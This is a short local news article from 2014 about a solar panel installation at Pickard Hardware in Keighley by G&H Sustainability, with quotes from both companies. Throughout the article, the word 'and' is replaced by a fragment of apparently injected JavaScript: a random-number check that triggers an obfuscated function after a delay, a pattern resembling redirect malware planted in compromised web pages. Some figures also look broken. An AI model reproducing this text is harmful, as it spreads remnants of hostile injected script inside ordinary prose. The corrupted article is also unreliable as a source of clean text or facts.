Keighley hardware firm picks G&H for solar scheme

  • 9th September 2014

G&H Sustainability has completed the installation of a bespoke solar power system in Keighley.

The work for Pickard Hardware saw a 30kWh PV panel system installed that will save £2,400 a year in fuel bills andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and 2,3640kg in carbon emissions.

The trapezoidal system cannot be seen from street level but will maximise use of north andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and south facing sunlight.

Pickard Hardware, which supplies hardware to the timber window andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and door industry, chose the renewable energy source to power its office andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and warehouse.

The system will produce up to a third of the energy needed andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ring-fence energy bills for the next 25 years.

National Sales Manager at G&H Sustainability, Martin Greenwood, said: “The trapezoidal system is practically invisible yet provides a great source of energy for Pickard Hardware.

“It will save £147,000 over the course of the government’s Feed-in Tariff that makes payments linked to the energy produced every three months for the next 20 years.

“They will recoup the investment in a short period of time while also reducing their carbon footprint andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and helping to protect the environment.”

Dale Spencer, Managing Director at Pickard Hardware, said: “Installing a sophisticated solar panel system was extremely easy andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and makes perfect sense from business andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and CSR perspectives.

“It is an investment in our premises andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and our company which will see a return within a relatively short period of time.

“In addition to this, it means we are conducting our business more responsibly by using a natural, renewable source of energy.”
